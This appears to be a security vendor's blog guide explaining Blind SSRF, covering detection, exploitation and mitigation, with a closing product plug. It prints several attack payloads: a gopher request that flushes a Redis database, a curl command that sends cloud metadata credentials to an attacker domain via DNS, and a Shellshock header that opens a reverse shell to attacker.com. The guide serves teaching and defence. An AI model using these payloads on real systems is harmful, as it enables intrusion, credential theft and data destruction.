Server-Side Request Forgery (SSRF) has long been a staple in the web security landscape, but its more elusive cousin, Blind SSRF, presents a unique challenge for both security researchers and developers. While a standard SSRF vulnerability allows an attacker to see the server's response from an internal or external resource, a Blind SSRF vulnerability occurs when the server processes a request to a user-supplied URL but does not return the response body back to the attacker. This lack of direct feedback makes it harder to detect and exploit, yet the impact can be just as devastating, ranging from internal network mapping to full remote code execution.

In this guide, we will break down what Blind SSRF is, how it differs from traditional SSRF, the technical methods used to detect it, and the various ways it can be exploited in modern cloud environments. Understanding these mechanics is crucial for building a resilient security posture and ensuring your internal infrastructure remains shielded from unauthorized requests.

What is Server-Side Request Forgery (SSRF)?

To understand the "blind" variant, we must first define the core vulnerability. Server-Side Request Forgery occurs when a web application fetches a remote resource without properly validating the user-supplied URL. An attacker can manipulate this functionality to force the server to make requests to unintended locations. These locations often include internal services (like databases or configuration consoles) that are not exposed to the public internet but are accessible from the web server itself.

In a "Regular" or "In-band" SSRF, the application returns the content of the requested URL to the user. For example, if an application has a feature to "Preview Website," and the attacker provides http://169.254.169.254/latest/meta-data/, the application might display the AWS instance metadata directly on the page. This immediate feedback loop makes exploitation straightforward.

Defining Blind SSRF

Blind SSRF occurs when the backend server makes the requested network call, but the application's response to the user does not contain any data from the destination server. The attacker is essentially "blind" to the content of the request they triggered.

Because you cannot see the response, you cannot directly read files or exfiltrate metadata through the application's UI. Instead, you must rely on side-channel information—such as the time it takes for the server to respond or observable interactions with external systems—to confirm the vulnerability and extract data.

Why Blind SSRF Happens

Developers often implement features that require the server to communicate with other servers for background tasks. Common examples include:

• Webhooks: A service notifies another service when an event occurs (e.g., a payment is processed).
• Analytics and Tracking: A server fetches a tracking pixel or logs a referral URL.
• PDF Generation: A server fetches images or CSS from a URL to render a document.
• URL Unfurling: Social media platforms fetching metadata (title, description, image) to show a link preview.

In many of these cases, the user doesn't need to see the raw response from the destination, so the code simply executes the request and returns a generic "Success" or "Task Queued" message. This is where the blindness originates.

How to Detect Blind SSRF

The most reliable way to detect Blind SSRF is through Out-of-Band (OAST) techniques. Since the application won't tell you if the request succeeded, you need to provide a URL that points to a server you control and monitor it for incoming connections.

1. Out-of-Band (OAST) Detection

Using tools like Burp Collaborator, Interactsh, or a simple VPS with a listener, you can provide a unique URL to the target application. If the target server is vulnerable, it will attempt to resolve the DNS or establish an HTTP connection to your listener.

Example Payload:

POST /api/v1/webhook-setup HTTP/1.1
Host: target-app.com
Content-Type: application/json

{
  "callback_url": "http://your-unique-id.oast.me"
}

If you see a DNS lookup or an HTTP GET request in your listener logs, you have confirmed that the server is making outbound requests based on your input. This is the "Hello World" of Blind SSRF.

2. Timing-Based Detection

If outbound traffic to the internet is restricted (a common security measure), OAST might not work. In this case, you can use timing differences to infer the state of the internal network.

Suppose the server is trying to connect to an internal IP. If the port is open, the connection might be established quickly or reset. If the port is closed or filtered by a firewall, the request might hang until it times out. By measuring the response time of the application, you can map out internal services.

Example Scenario:

• Request to http://127.0.0.1:80 -> Response in 100ms (Port Open)
• Request to http://127.0.0.1:81 -> Response in 5000ms (Port Closed/Filtered/Timeout)

Ways to Exploit Blind SSRF

Confirming the vulnerability is only the first step. Even without seeing the response, attackers can leverage Blind SSRF for significant impact.

Internal Port Scanning

As mentioned in the timing-based detection, an attacker can systematically scan the local network. By iterating through common ports (80, 443, 3306, 6379, 8080, 27017) on 127.0.0.1 or internal IP ranges (like 10.0.0.0/8), the attacker identifies what services are running internally. This is often the first step toward a more complex attack.

Attacking Internal Services

Many internal services are built with the assumption that they are protected by the network perimeter and thus have little to no authentication. If an attacker identifies an internal Redis, Memcached, or Elasticsearch instance, they can use Blind SSRF to send commands.

The Gopher Protocol

The gopher:// protocol is a powerful tool for SSRF because it allows an attacker to send raw bytes to a socket. This can be used to communicate with non-HTTP services.

Example: Attacking Redis via Gopher
If an attacker finds a Blind SSRF that supports Gopher, they can send a payload like this to execute commands in Redis:

gopher://127.0.0.1:6379/_*1%0d%0a$8%0d%0aflushall%0d%0a```

Even though the attacker doesn't see the "OK" response from Redis, the `flushall` command is executed, deleting all data in the database.

### Exploiting Cloud Metadata Services

Cloud environments (AWS, Azure, GCP) have internal metadata services accessible at `169.254.169.254`. While you can't read the metadata in a Blind SSRF, you might be able to trigger actions. On some cloud providers, specific API endpoints can be hit via GET or POST requests to change instance configurations or trigger maintenance tasks. 

More importantly, if the Blind SSRF allows for data exfiltration via DNS (DNS Exfiltration), an attacker might try to leak sensitive tokens. For example, by prepending a token to a DNS query:

`http://$(curl http://169.254.169.254/latest/meta-data/iam/security-credentials/role-name | base64).your-attacker-domain.com`

(Note: This specific example requires the ability to execute commands or use advanced URI schemes, which is rare but possible in certain "Blind" scenarios like PDF generators that execute JavaScript.)

### Shellshock and Internal RCE

If the internal network has legacy systems vulnerable to bugs like Shellshock (CVE-2014-6271), an attacker can use Blind SSRF to send a malicious User-Agent or other headers to internal web servers. 

**Payload Example via SSRF:**
```http
GET /internal-admin-panel HTTP/1.1
User-Agent: () { :; }; /bin/bash -i >& /dev/tcp/attacker.com/4444 0>&1

If the internal server processes this header and is vulnerable, it will initiate a reverse shell to the attacker, completely bypassing the "blindness" of the initial SSRF.

Real-World Impact

The impact of Blind SSRF is often underestimated because it doesn't immediately result in a data leak. However, the consequences are severe:

1. Network Reconnaissance: Attackers gain a map of your internal infrastructure, knowing exactly where your databases, Jenkins servers, and internal APIs live.
2. Internal Service Disruption: Commands sent to services like Redis or RabbitMQ can delete data, clear queues, or shut down services.
3. Bypassing Authentication: Many internal admin panels trust any request coming from the local IP. Blind SSRF can be used to trigger administrative actions like creating a new admin user or changing passwords.
4. Cloud Account Takeover: In certain configurations, SSRF can be used to interact with the cloud provider's metadata service to retrieve temporary security credentials.

How to Prevent Blind SSRF

Mitigating Blind SSRF requires a defense-in-depth approach. You cannot rely on just one method.

1. Use Allowlists for Domains and Protocols

Instead of trying to block "bad" IPs (which can be bypassed with DNS pointing to local IPs), only allow requests to a predefined list of trusted domains. Furthermore, disable all protocols except http and https. There is rarely a reason for a web app to support file://, gopher://, or ftp://.

2. Network-Level Isolation

Configure your firewall or Security Groups to prevent the web server from making requests to sensitive internal ranges. Use a dedicated "Egress Proxy" for all outbound traffic. This proxy can be configured to block requests to 127.0.0.1, 169.254.169.254, and private IP ranges (RFC 1918).

3. Validate Input and Sanitize URLs

Never trust user input. If a user provides a URL, parse it using a robust library and verify the destination IP address. Be careful of "DNS Rebinding" attacks, where a domain resolves to a safe IP during validation but a malicious internal IP during the actual request.

4. Disable Unused Services

If your application doesn't need to fetch remote content, disable the functionality entirely. If you are using a library like curl or urllib, ensure you are using the most restrictive settings possible.

Conclusion

Blind SSRF is a subtle but high-risk vulnerability. While the lack of direct output might make it seem less critical than traditional SSRF, the ability to interact with internal systems and cloud metadata makes it a powerful tool in an attacker's arsenal. By leveraging OAST detection methods and implementing strict network-level controls, organizations can defend against these hidden threats.

To proactively monitor your organization's external attack surface and catch exposures like Blind SSRF before attackers do, try Jsmon.